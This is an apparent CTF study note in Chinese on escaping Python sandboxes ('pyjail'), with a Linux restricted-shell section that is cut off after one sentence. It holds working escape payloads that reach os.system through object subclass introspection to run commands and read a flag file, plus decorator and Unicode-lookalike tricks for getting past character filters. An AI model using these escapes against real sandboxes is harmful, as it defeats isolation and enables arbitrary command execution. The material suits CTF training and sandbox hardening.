Jail
Pyjail¶
Prerequisite
准备练练 python jail ,准备资料如下:
-
__import__('os').system('ls') [i.__init__.__globals__['linecache'].__dict__['os'].system('whoami') for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "catch_warnings"][i for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "_wrap_close"][0].__init__.__globals__['system']('cat ./flag')- 限制 A-z0-9 => https://lingojam.com/ItalicTextGenerator
- 限制
'"{}[]()_=>@exec\n@input\nclass\tx:\n\tpass
Python
@exec
@input
class x:
pass
exec("@exec\n@input\nclass\tx:\n\tpass")
# exec("@𝘦𝘹𝘦𝘤\n@𝘪𝘯𝘱𝘶𝘵\n𝘤𝘭𝘢𝘴𝘴\t𝘹:\n\t𝘱𝘢𝘴𝘴")
Linuxjail¶
常见的形式是给我们一个 ssh 连接方式,进入得到一个受限的 shell,常见的一些等效技巧有: